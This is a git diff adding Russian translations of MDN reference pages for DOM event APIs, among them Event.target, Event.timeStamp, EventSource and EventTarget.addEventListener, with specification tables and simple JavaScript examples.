new file mode 100644
index 0000000000..085d9b3907
--- /dev/null
+++ b/files/ru/web/api/event/stoppropagation/index.html
@@ -0,0 +1,69 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+tags:
+  - API
+  - DOM
+  - Gecko
+  - stopPropagation
+  - Событие
+  - метод
+translation_of: Web/API/Event/stopPropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Прекращает дальнейшую передачу текущего события.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>См. Пример 5: <a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation" title="Gecko_DOM_Reference/Examples#Example_5:_Event_Propagation">Event Propagation</a>  для более детального объяснения данного метода и всего механизма передачи событий в DOM документе.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-stoppropagation', 'Event.stopPropagation()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-stoppropagation', 'Event.stopPropagation()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-stopPropagation', 'Event.stopPropagation()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div id="compat-mobile">
+<p>{{Compat("api.Event.stopPropagation")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>
+  <p>Смотрите <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM specification</a> для понимания потока событий. (<a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow" title="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events draft</a> содержит иллюстрации.)</p>
+ </li>
+ <li>
+  <p>{{domxref("Event.preventDefault()")}} – это дополнительный метод, который запрещает исполнение метода по умолчанию, предназначенного для данного события.</p>
+ </li>
+</ul>
diff --git a/files/ru/web/api/event/target/index.html b/files/ru/web/api/event/target/index.html
new file mode 100644
index 0000000000..86b20f406f
--- /dev/null
+++ b/files/ru/web/api/event/target/index.html
@@ -0,0 +1,135 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+tags:
+  - Событие
+translation_of: Web/API/Event/target
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>Свойство <code><strong>target</strong></code> интерфейса {{domxref ("Event")}} является ссылкой на объект, который был инициатором события. Он отличается от {{domxref ("Event.currentTarget")}}, если обработчик события вызывается во время всплытия (bubbling) или захвата события.</p>
+
+<p id="Синтаксис">Синтаксис</p>
+
+<pre class="syntaxbox notranslate">theTarget = event.target</pre>
+
+<p>Значение:</p>
+
+<p>{{domxref("EventTarget")}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Свойство <code>event.target</code> может быть использовано для реализации <strong>делегирования событий</strong>.</p>
+
+<pre class="notranslate">// Создадим список
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target ссылается на кликнутый &lt;li&gt; элемент
+  // Он отличается от e.currentTarget который будет ссылаться на родительский &lt;ul&gt; в этом контексте
+  e.target.style.visibility = 'hidden';
+}
+
+// Назначим обработчик к списку
+// Он будет вызван когда кликнут на любой &lt;li&gt;
+ul.addEventListener('click', hide, false);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>В IE 6-8 модель событий отличается. Обработчики событий назначаются с помощью нестандартного {{domxref('EventTarget.attachEvent')}} метода. При этом в объекте события есть свойство {{domxref('Event.srcElement')}}, вместо <code>target</code> свойства, но по смыслу оно индентично <code>event.target</code>.</p>
+
+<pre class="brush: js notranslate">function hide(e) {
+  // Поддержка IE 6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></li>
+</ul>
diff --git a/files/ru/web/api/event/timestamp/index.html b/files/ru/web/api/event/timestamp/index.html
new file mode 100644
index 0000000000..6a79557c96
--- /dev/null
+++ b/files/ru/web/api/event/timestamp/index.html
@@ -0,0 +1,103 @@
+---
+title: Event.timeStamp
+slug: Web/API/Event/timeStamp
+translation_of: Web/API/Event/timeStamp
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span id="result_box" lang="ru"><span>Возвращает время (в миллисекундах), в котором было создано событие.</span></span></p>
+
+<div class="note">
+<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Это свойство работает только в том случае, если система событий поддерживает его для конкретного события.</span></span></p>
+</div>
+
+<h2 id="Синтаксис"><span class="short_text" id="result_box" lang="ru"><span>Синтаксис</span></span></h2>
+
+<pre class="syntaxbox"><var>event</var>.timeStamp
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Значение - это миллисекунды, прошедшие с начала жизненного цикла текущего документа до создания события.</p>
+
+<p>In newer implementations, the value is a {{domxref("DOMHighResTimeStamp")}}  accurate to 5 microseconds (0.005 ms). In older implementations, the value is a {{domxref("DOMTimeStamp")}}, accurate to a millisecond.</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Focus this iframe and press any key to get the
+  current timestamp for the keypress event.
+&lt;/p&gt;
+&lt;p&gt;timeStamp: &lt;span id="time"&gt;-&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<pre class="brush: js">function getTime(event) {
+  var time = document.getElementById("time");
+  time.firstChild.nodeValue = event.timeStamp;
+}
+document.body.addEventListener("keypress", getTime);</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 100)}}</p>
+
+<h2 id="Reduced_time_precision">Reduced time precision</h2>
+
+<p>To offer protection against timing attacks and fingerprinting, the precision of <code>event.timeStamp</code> might get rounded depending on browser settings.<br>
+ In Firefox, the <code>privacy.reduceTimerPrecision</code>  preference is enabled by default and defaults to 20us in Firefox 59; in 60 it will be 2ms.</p>
+
+<pre class="brush: js">// reduced time precision (2ms) in Firefox 60
+event.timeStamp;
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>In Firefox, you can also enabled <code>privacy.resistFingerprinting</code>, the precision will be 100ms or the value of <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, whichever is larger.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-timestamp", "Event.timeStamp")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-timestamp", "Event.timeStamp")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-timeStamp", "Event.timeStamp")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Event.timeStamp")}}</p>
diff --git a/files/ru/web/api/event/type/index.html b/files/ru/web/api/event/type/index.html
new file mode 100644
index 0000000000..e9aabbbe88
--- /dev/null
+++ b/files/ru/web/api/event/type/index.html
@@ -0,0 +1,102 @@
+---
+title: Event.type
+slug: Web/API/Event/type
+tags:
+  - API
+  - DOM
+  - Event
+  - Событие
+  - Ссылка
+translation_of: Web/API/Event/type
+---
+<p>{{APIRef}}</p>
+
+<p><code><strong>Event.type</strong></code> - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определенное событие.</p>
+
+<p>Агрумент <em><code>event</code></em> функций {{ domxref("EventTarget.addEventListener()") }} и {{ domxref("EventTarget.removeEventListener()") }} не чувствителен к регистру.</p>
+
+<p>Для получения списка доступных типов событий смотри <a href="/en-US/docs/Web/Events" title="Mozilla event reference">event reference</a></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">event.type
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre><code><em>var string</em> = event.type;</code>
+</pre>
+
+<pre><em><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;</code></em>
+
+<em><code>    &lt;title&gt;Event.type Example&lt;/title&gt;</code></em>
+
+<em><code>    &lt;script&gt;
+        var currEvent = null;</code></em>
+
+<em><code>        function getEvtType(evt) {
+            console.log("//Start------------getEvtType(evt)------------ ");</code></em>
+
+<em><code>            currEvent = evt.type;
+            console.log(currEvent);</code></em>
+
+<em><code>            //document.getElementById("Etype").firstChild.nodeValue = currEvent;
+            document.getElementById("Etype").innerHTML = currEvent;</code></em>
+
+<em><code>            console.log("//End--------------getEvtType(evt)------------ ");
+        }</code></em>
+
+<em><code>        //Keyboard events
+        document.addEventListener("keypress", getEvtType, false); //[second]  </code></em>
+
+<em><code>        document.addEventListener("keydown", getEvtType, false); //first
+        document.addEventListener("keyup", getEvtType, false); //third</code></em>
+
+<em><code>        //Mouse events
+        document.addEventListener("click", getEvtType, false); // third</code></em>
+
+<em><code>        document.addEventListener("mousedown", getEvtType, false); //first
+        document.addEventListener("mouseup", getEvtType, false); //second</code></em>
+
+<em><code>    &lt;/script&gt;
+&lt;/head&gt;</code></em>
+
+<em><code>&lt;body&gt;</code></em>
+
+<em><code>    &lt;p&gt;Press any key or click the mouse to get the event type.&lt;/p&gt;
+    &lt;p&gt;Event type: &lt;span id="Etype" style="color:red"&gt;-&lt;/span&gt;&lt;/p&gt;</code></em>
+
+<em><code>&lt;/body&gt;
+&lt;/html&gt;</code></em></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/eventlistener/index.html b/files/ru/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..02f50fb594
--- /dev/null
+++ b/files/ru/web/api/eventlistener/index.html
@@ -0,0 +1,88 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+translation_of: Web/API/EventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Интерфейс <code>EventListener</code> представляет собой объект, который может обработать событие, отправленное объектом {{domxref ("EventTarget")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Из-за необходимости совместимости с унаследованным контентом, <code>EventListener</code> принимает функцию или объект с методом  <code>handleEvent()</code>. Это показано в <a href="#Example">примере</a> ниже.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс не реализует и не наследует никаких свойств.</em></p>
+
+<h2 id="Method_overview" name="Method_overview">Синтаксис</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#handleEvent()">handleEvent</a>(in Event event);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="handleEvent" name="handleEvent()">handleEvent()</h3>
+
+<p>Этот метод вызывается всякий раз, когда присходит событие того типа, для которого был зарегистрирован интерфейс EventListener.</p>
+
+<pre class="eval notranslate">void handleEvent(
+  in Event event
+);
+</pre>
+
+<h5 id="Parameters" name="Parameters">Параметры</h5>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>Событие DOM {{ domxref("Event") }} для которого регистрируется обработчик.</dd>
+</dl>
+
+<h3 id="Remarks" name="Remarks">Примечания</h3>
+
+<p>Поскольку у интерфейса отмечен флаг <code><span class="nowiki">[function]</span></code>, все объекты JavaScript <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function">Function</a> автоматически реализуют этот интерфейс. Вызов метода {{ manch("handleEvent") }} на такой реализации автоматически вызовет эту функцию.</p>
+
+
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate"><code>&lt;button id="btn"&gt;Нажми сюда!&lt;/button&gt;</code>
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate"><code>const buttonElement = document.getElementById('btn');
+
+// Добавим обработчик для события "click", предоставив callback.
+// Теперь по клику на элемент будет всплывать подсказка.
+
+buttonElement.addEventListener('click', function (event) {
+  alert('Событие вызвано функцией!');
+});
+
+// Теперь привяжем обработчик через объект, содержащий функцию
+
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('Событие вызвал handleEvent!');
+  }
+});</code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ spec("http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener","Document Object Model Events: EventListener","REC") }}</li>
+</ul>
diff --git a/files/ru/web/api/eventsource/index.html b/files/ru/web/api/eventsource/index.html
new file mode 100644
index 0000000000..85ab4c5bf3
--- /dev/null
+++ b/files/ru/web/api/eventsource/index.html
@@ -0,0 +1,121 @@
+---
+title: EventSource
+slug: Web/API/EventSource
+translation_of: Web/API/EventSource
+---
+<p>{{APIRef("Websockets API")}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Интерфейс </font>EventSource</code> используется для получения серверных событий (Server-sent events). Он устанавливает соединение с сервером по HTTP и получает события в формате text/event-stream без закрытия соединения.</p>
+
+<p><span style="line-height: 1.5;">Вы можете присвоить атрибуту <code>onmessage</code> JavaScript-функцию для получения нетипизированных сообщений (то есть сообщений без поля </span><code style="font-size: 14px;">event</code><span style="line-height: 1.5;">). Вы так же можете вызвать функцию </span><code style="font-size: 14px;">addEventListener()</code><span style="line-height: 1.5;"> для прослушивания событий так же, как для любого другого источника событий.</span></p>
+
+<p>См. <a href="/en/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a> для более детальной информации </p>
+
+<h2 id="Method_overview" name="Method_overview">Методы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Свойства</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td><code>{{ Interface("nsIDOMEventListener") }}</code></td>
+   <td>JavaScript-функция, вызываемая при появлении ошибки</td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td><code>{{ Interface("nsIDOMEventListener") }}</code></td>
+   <td>JavaScript-функция, вызываемая при приходе сообщения без поля <code>event</code></td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td><code>{{ Interface("nsIDOMEventListener") }}</code></td>
+   <td>JavaScript-функция, вызываемая после открытия соединения</td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code><a href="/en/long" title="en/long">long</a></code></td>
+   <td>Состояние соединения, должно иметь одно из значений <code>CONNECTING</code>, <code>OPEN</code>, или <code>CLOSED</code>. <strong>Только для чтения</strong></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{ domxref("DOMString") }}</td>
+   <td><strong>Только для чтения</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В дополение к открытым атрибутам два внутренних атрибута, которые не открыты напрямую:</p>
+
+<dl>
+ <dt>reconnection time</dt>
+ <dd>Это время в миллисекундах, используемое для определения продолжительности ожидания после неудачной попытки соединения до повторного соединения</dd>
+ <dt>last event ID string</dt>
+ <dd>По-умолчания пустая строка. Сервер может отправлять сообщение с полем <code>id </code>для установки этого значения.</dd>
+</dl>
+
+<h2 id="Constants" name="Constants">Константы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>Соединение устанавливается</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>Соединение открыто, получение событий</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>2</code></td>
+   <td>Соединение не устанавливается, закрыто, или произошла фатальная ошибка</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="close" name="close()">close()</h3>
+
+<p>Закрывает соединение, если оно существует и устанавливает атрибут <code>readyState </code>в значение<font face="Consolas, Liberation Mono, Courier, monospace"> <code>CLOSED</code>.</font> Если соединение уже закрыто, этот метод ничего не делает.<font face="Consolas, Liberation Mono, Courier, monospace"> </font></p>
+
+<pre class="eval">void close();
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметры</h6>
+
+<p>Нет</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{ spec("https://html.spec.whatwg.org/multipage/comms.html#the-eventsource-interface","Server-Sent Events: The EventSource Interface","CR") }}</li>
+ <li><a href="/en/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a></li>
+</ul>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{Compat("api.EventSource")}}</p>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html
new file mode 100644
index 0000000000..84d6390438
--- /dev/null
+++ b/files/ru/web/api/eventtarget/addeventlistener/index.html
@@ -0,0 +1,499 @@
+---
+title: Метод EventTarget.addEventListener()
+slug: Web/API/EventTarget/addEventListener
+tags:
+  - DOM
+  - EventTarget
+  - addEventListener
+  - Обработчик
+  - Событие
+  - метод
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{apiref("DOM Events")}}</p>
+
+<p>Метод <code>EventTarget.addEventListener()</code> регистрирует определенный обработчик события, вызванного на {{domxref("EventTarget")}}.</p>
+
+<p>{{domxref("EventTarget")}} может быть {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}, или любым другим объектом, поддерживающим события (таким как <code style="font-style: normal;"><a href="/ru/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><em>target.addEventListener(type, listener</em>[<em>, options</em>]<em>);
+target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>,
+<em>wantsUntrusted </em>{{Non-standard_inline}}]); // только Gecko/Mozilla </code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Чувствительная к регистру строка, представляющая <a href="/en-US/docs/DOM/event.type" title="DOM/Event.type">тип прослушиваемого события</a>.</dd>
+ <dt><code>listener</code></dt>
+ <dd>Объект, который принимает уведомление, когда событие указанного типа произошло. Это должен быть объект, реализующий интерфейс {{domxref("EventListener")}} или просто <a href="/en-US/docs/JavaScript/Guide/Functions" title="JavaScript/Guide/Functions">функция JavaScript</a>.</dd>
+</dl>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Объект <code>options</code>, который определяет характеристики объекта, прослушивающего событие. Доступны следующие варианты:
+ <ul>
+  <li><code>capture</code>:  {{jsxref("Boolean")}} указывает, что события этого типа будут отправлены зарегистрированному слушателю <code>listener</code> перед отправкой на <code>EventTarget</code>, расположенный ниже в дереве DOM.</li>
+  <li><code>once</code>: {{jsxref("Boolean")}} указывает, что слушатель должен быть вызван не более одного раза после добавления. Если <code>true</code>, слушатель автоматически удаляется при вызове.</li>
+  <li><code>passive</code>:  {{jsxref("Boolean")}} указывает, что слушатель никогда не вызовет <code>preventDefault()</code>. Если все же вызов будет произведен, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}</li>
+  <li>{{non-standard_inline}}<code> mozSystemGroup</code>: {{jsxref("Boolean")}} указывает, что слушатель должен быть добавлен в системную группу. Доступно только в коде, запущенном в XBL или в <a href="https://chrome.google.com/webstore/detail/open-with-firefox/poeacjbaiakjnaepdjgggojcjoajakmd">расширении Chrome</a>.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Если равно <code>true</code>, <code>useCapture</code> указывает, что пользователь желает начать захват. После инициализации захвата все события указанного типа будут отправлены в зарегистрированный <code>listener</code> перед отправкой в какой-либо <code>EventTarget</code> под ним в дереве DOM. События, восходящие вверх по дереву, не будут вызывать слушателей, которым назначено использовать захват. Смотрите <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow" title="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> для более детального объяснения. Значение <code>useCapture</code> по умолчанию равно <code>false</code>.
+ <div class="note"><strong>Note: </strong>Для прослушивателей событий прикреплённых к цели события, событие  находиться в целевой фазе, а не в фазах захвата или всплытия. События в целевой фазе инициируют все прослушиватели на элементе в том порядке, в котором они были зарегистрированы независимо от параметра <code>useCapture</code>.</div>
+
+ <div class="note"><strong>Note:</strong> <code>useCapture</code> не всегда был опциональным. Лучше указывать данный параметр для повышения совместимости.</div>
+ </dd>
+ <dt><code>wantsUntrusted</code> {{Non-standard_inline}}</dt>
+ <dd>Если равно <code>true</code>, слушатель будет получать сгенерированные события, посланные со страницы (по умолчанию равно <code>false</code> для chrome и <code>true</code> для обычных веб-страниц). Этот параметр доступен только в Gecko и в основном полезен для использования в дополнениях и самом браузере. Смотрите <a href="/ru/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="Code snippets/Interaction between privileged and non-privileged pages">Взаимодействие между привилегированными и непривилегированными страницами</a> для примеров использования.</dd>
+</dl>
+
+<p>Прежде чем использовать определенное значение в объекте <code>options</code>, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<h3 id="Обратный_вызов_прослушивателя_событий">Обратный вызов прослушивателя событий</h3>
+
+<p>Прослушиватель событий может быть задан либо как функция обратного вызова, либо как объект реализующий {{domxref("EventListener")}}, чей {{domxref("EventListener.handleEvent", "handleEvent()")}} метод служит как функция обратного вызова.</p>
+
+<p>Сама функция обранного вызова имеет те же параметры и возвращаемое значение что и метод <code>handleEvent()</code>; То есть обратный вызов принимает единственный параметр: объект основанный на {{domxref("Event")}} описывая событие, которое произошло и ничего не возвращая.</p>
+
+<p>Например, обратный вызов обработчика событий, который может использоваться для обработки {{event("fullscreenchange")}} и {{event("fullscreenerror")}} может выглядеть так:</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">eventHandler</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>event<span class="punctuation token">.</span>type <span class="operator token">==</span> <span class="string token">'fullscreenchange'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">/* Переключатель полноэкранного режима */</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="comment token">/* fullscreenerror */</span> <span class="punctuation token">{</span>
+    <span class="comment token">/* Ошибка переключателя полноэкранного режима */</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Безопасная_проверка_поддержки_option">Безопасная проверка поддержки <code>option</code></h3>
+
+<p>В более старых версиях спецификации DOM третьим параметром <code>addEventListener</code> было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменен на объект, который может содержать различные свойства, определяющие значения параметров для настройки слушателя событий.</p>
+
+<p>Поскольку старые браузеры (а также некоторые не слишком старые браузеры) по-прежнему предполагают, что третий параметр является логическим, возникает необходимость создания своего кода, чтобы разумно обрабатывать этот сценарий. Вы можете сделать это, используя функцию обнаружения для каждого из интересующих вас параметров.</p>
+
+<p>Например, если вы хотите проверить параметр <code>passive</code>:</p>
+
+<pre class="brush: js notranslate">var passiveSupported = false;
+
+try {
+  var options = Object.defineProperty({}, "passive", {
+    get: function() {
+      passiveSupported = true;
+    }
+  });
+
+  window.addEventListener("test", null, options);
+} catch(err) {}</pre>
+
+<p>Этот код создает объект <code>options</code> с геттером для свойства passive, устанавливающим флаг <code>passiveSupported</code> в <code>true</code>, если он вызван. Это означает, что если браузер проверяет значение свойства <code>passive</code> на объекте <code>options</code>, значение <code>passiveSupported</code> будет установлено в true; в противном случае он останется ложным. Затем мы вызываем <code>addEventListener</code>, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.</p>
+
+<p>Для проверки поддержки использования какой-либо опции можно просто добавить геттер для нее, используя код, подобный тому, что показан выше.</p>
+
+<p>Если вы хотите добавить прослушиватель событий, использующий параметры, о которых идет речь, вы можете сделать это подобным образом:</p>
+
+<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);</pre>
+
